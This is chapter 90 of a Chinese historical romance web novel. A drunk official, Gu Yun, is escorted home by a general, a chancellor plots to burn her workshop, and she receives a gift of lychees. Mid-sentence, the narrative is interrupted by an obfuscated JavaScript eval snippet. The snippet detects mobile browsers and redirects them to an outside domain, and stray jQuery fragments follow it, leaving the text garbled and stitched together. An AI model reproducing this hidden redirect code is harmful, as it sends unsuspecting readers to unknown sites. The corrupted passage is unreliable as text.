90. 阴谋

    “好了。”


    他不动声色地偏开头,又重新将她毛茸茸的脑袋按回肩上,那花瓣一般的嘴唇终于不在眼前诱他犯罪了。


    “哦。”


    顾云顺着他的动作,乖乖地靠在他的肩头,马车内又是一片寂静。


    周其钺也没再开口,只悄悄留意着她的状态。


    倒是没想到,她连喝醉了也乖乖的,一点都不闹腾。


    “你别再做傻事了,伤害自己的身体,不值当...”


    周其钺听见她的轻声嘟囔,唇畔不禁浮起笑意。


    这算不算是在关心他?


    “值当的。”


    几道箭痕,换来与她一吻,再值当不过了。


    他清楚,若不是他受了伤,那样的冒犯,定会遭到她全力的反抗与报复。


    她却好似压根没听进他的话,嘴里依然含糊地絮絮叨叨。


    周其钺侧耳去听,只听见一句小声的“药味好难闻,我最讨厌药味了...”


    他侧头闻了闻,自己身上果真还有一股淡淡的药味。


    于是只好佯装叹气道:“怎么办呢?只好让顾侍郎您先委屈一下了。”


    临近宵禁时分,通往昇平坊的街道上空旷无声,只有这一辆马车缓慢行走着。


    轱辘车辙声最终在顾宅门口静止,周其钺看向怀里的人,发现她早已睡去。


    粉扑扑的脸和红艳艳的唇,挺俏的鼻与流畅的轮廓,她此刻看起来温和娇艳极了。


    若不是体验过,任谁也无法想象这样一幅无害的皮囊之下,住了那样一个倔强坚韧的灵魂。


    周其钺轻轻拍了拍她的脸,“到家了,还能走吗?”


    怀中的人悄无声息。


    他无奈一笑,看着她这幅毫无戒备在他肩头熟睡的模样,心里像在不停地冒泡泡。


    泡泡鼓起时将他的心填得满满的,可在碰到边缘的时候又很快破掉,给他带来一阵轻微的疼痛。


    默了一会儿,周其钺终是抱着她走下马车。


    门房认得他,于是他轻车熟路就来到了顾云的屋子。


    夏蕊见状,连忙上前服侍。


    “她喝多了,等会儿叫她起来喝完醒酒汤再睡吧。”


    “是。”


    吩咐完,周其钺毫不拖泥带水地转身出屋,倒让夏蕊都对他的利落有些侧目。


    ...


    顾云醒来时,头痛欲裂。


    她从未如昨夜般醉得这般厉害过,此刻对自己如何回到屋子的毫无印象。


    夏蕊服侍她换官服,没忍住开口说了句,“昨夜是周将军送您回来的。”


    “他?”


    顾云揉揉脑袋,回想不起一点昨夜的画面,似乎上一秒还在与她们谈天说地,下一刻就在自己的床榻上醒来了。


    夏蕊不知二人的前尘往事,自从前段时间周其钺强势地逼顾云乖乖喝药,她就对这位看似冷硬的将军颇有好感。


    她能看出来周将军喜欢自家大人,心里也期盼着二人早日成好事。


    “是呢,放下您就走了,还叮嘱奴婢好好照顾您。”


    顾云对此不置可否,用完早膳很快就出府公干了。


    自前些日子被委派了新的任务后,顾云最近一直都辗转于京郊各处军械房查看现有的弓弩兵器,每日奔波,行踪不定。


    直到昨日,经过几番试用与盘点,她已对现有弓弩的形制与威力有了初步了解,心里也有了些改进的想法,于是又回到工部的公廨之中专注于典籍翻阅与研发之事。


    公廨之中,角落里坐落了一排小屋子,每间屋子都有自己的主人,是负责研制器物的官员们平日里待的地方。


    顾云在这里也有一间属于自己的屋子,在一众屋子的最角落,平日里几乎不会被打搅。


    甫一走入,她便沉浸在自己的世界里,不知疲倦、不知休息,非要等到脑子里的想法尽数呈现在眼前才罢休。


    直到傍晚时分,她终于构思好了一个满意的弓臂造型。


    正待推门而出时,忽然有人敲响了她的屋门。


    顾云推门而出,又仔细关上身后的门,只见来人是平日里不常遇到的一位同僚,戴恒。


    工部设有司务厅,专门负责收发文书,供官员办理的事宜。前些日子她没少与他们交接,处理全国各地水车推广进展的文书。


    可,今日怎么是这位司务厅的厅长来找她?


    对方官阶比她低,先行拱手行礼,“参见顾侍郎。”


    顾云礼貌回礼,“戴司务找我可是有事?”


    二人一同从公廨深处往外走,戴恒笑吟吟地开口,“下官只是想来问问,最近您手上发出的文书似乎越来越少了,若是之后都如此,我们也好调减些人手。”


    工部官员办公地颇为分散,有的人甚至常年累月驻扎在工程地上,收发文书这等工作免不了要兼顾一些跑腿的活来,司务厅便安排了人时时问候。


    水车推广一事接近尾声,顾云的确不再需要那么频繁地与各地官员进行文书往来,便朝戴恒点点头。


    “您调减些人手吧。”


    戴恒称是,却仍与她搭话。


    “水车于农事有大利,实在是足以流芳百世的创世之发明,不知顾侍郎您此番事了之后,还打算为我大曦朝造出些什么奇巧构件呢?”


    顾云听出了他的打探之意,不欲与他多言。


    “嗐,左不过是听尚书大人的吩咐,哪里需要往哪去罢了。”


    戴恒心知谈话到此终结,笑眯眯地与她道别。


    “天色欲晚,就不打扰顾侍郎您下值的时辰了,下官告退。”


    顾云颔首,转身走出了公廨。


    戴恒目送她远离的背影,很快也离开公廨往她的反方向走去。


    若是有人熟悉京师的街道,便会知道,过了这条路再东行一小段距离,很快便能到达当今丞相的府邸。


    顾云慢悠悠地漫步回府,盛夏傍晚的热浪依旧不减,一波一波地烘烤着她的脸颊。


    她望着远处似火一般的晚霞,忽然想起了火一般明艳的影老板。


    今日她应当早早就出发了,也不知道她这会儿走到哪里了。


    思绪漫无目的地飘着,她顺着影老板又想起了周其钺。


    这些日子都没有见到他,也不知他的伤如何了。


    鬼使神差一般,她又拐进了影老板产业之下的那家药坊。


    也许是很少见到红影木牌,店内的伙计还记得她。


    “哎哟!贵客驾到,有失远迎!请问您这次要来点什么呀?”


    顾云有些被他的热情吓到,稳了稳声线,轻声开口道:


    “劳烦给我一瓶上好的金疮药,治疗箭伤用。”


    “得嘞!”


    可等她拿着小小的药瓶走出药坊时,她突然想到一个问题——


    难道过了这么多日,她要突然上门给他送药?


    这太奇怪了。


    唉,算了,她可从未想过要主动伤他,这一切都是他咎由自取,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807282|168500||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    怨不得她。


    站在路口纠结几息,顾云终究还是将药瓶放入袖中,往顾宅的方向走了。


    ...


    戴丞相最近心气格外不顺。


    戴谢二家之下的四大家族,倒了一个纪家,剩下三家依旧对他们虎视眈眈。


    虽然明面上尽显敬重,可背地里的动作一点都不少。


    一直以来,他都派了人暗中留意,近来他们暗中聚会的频率越来越高,他的心里十分不安,总有一种不好的预感,可又查不出半点风声。


    还有一件事让他颇为头疼,他那尽显乖巧的独子,虽然已经顺着他的意开始熟悉族中各项事务,却依旧时不时来他面前提起与工部顾侍郎的婚事,还不知有意无意地拿他母亲说事。


    他总归是对不起他母亲的,每每这时,他心中的烦躁就更甚一分。


    朝官不可通婚,这是天子提拔女官时定下的规定,他自然不好破坏什么。


    可比起破除万难与工部顾侍郎成婚,将毫无背景的弱女子顾云据为己有可就容易多了。


    他心中早有一计,只可惜,近日她的行踪不定,倒让他不太好下手。


    正想着,族中小辈戴恒前来求见。


    戴丞相端坐于书房桌案之后,半明半暗之中,面色肃然的美髯公说不出地威严。


    “参见家主。”


    戴丞相轻“唔”一声,以示免礼。


    戴恒恭谨起身,仍是一副笑眯眯的样子。


    “启禀家主,今日顾侍郎在公廨中待了一整日,想必不会像之前那样日日奔波了,您看?”


    戴丞相眸光微闪,心中早有决断。


    “再观察两日,若是她接下来日日如此,夏日炎炎,木料堆积的工房不慎走水,也算不上什么稀罕事。”


    戴恒心下一紧,面上笑意也敛了些。


    “小侄谨遵家主吩咐。”


    语毕,戴恒缓缓退出了书房。


    背过身去,他唇角仍维持着那抹笑意,眼里却变得阴冷无比。仔细看去,像是戴了一张扭曲诡异的微笑面具。


    他缓缓走着,朝丞相府中轴线后方岳星赜的院子望了望,很快就出府去了。


    ...


    顾云回到家中,推开屋门便看见桌上摆了一盒冰鉴,揭开盖子,只见冰鉴之中放着香气四溢的粉红荔枝。


    此物在京师属实稀有,她这种家底的人万万采买不到。


    “夏蕊,这盒冰鉴哪里来的?”


    夏蕊被她问住了。


    “诶?今日您出府后,奴婢再也没有进过您的屋子,也没见有外人来过,这个冰鉴怎么会突然出现在这里...”


    顾云看着被丝丝白气萦绕的红润荔枝,眉头微皱。


    对她府上了若指掌、又有能力弄来这等稀罕物的人,她能想到的只有一个。


    可他这是何意?


    她以为那日他的意思是从今往后都不会再纠缠于她,可他昨夜默默送她回府,今日又悄悄送来这盒稀有的荔枝,要她如何平白无故承受他的好意?


    顾云叹了口气,坐在桌前轻轻将冰鉴抱起来。


    要不给他送回去算了。


    但这样会不会有点不太礼貌?


    她心里纠结,却见冰鉴下方压了一张字条——


    “此物冰凉,云娘切勿贪嘴。”


    她将冰鉴放于一旁,又默默掏出方才在街上买的药膏放在一侧,眼神有些为难地在二者之间来回巡视。


    给他送哪个过去呢?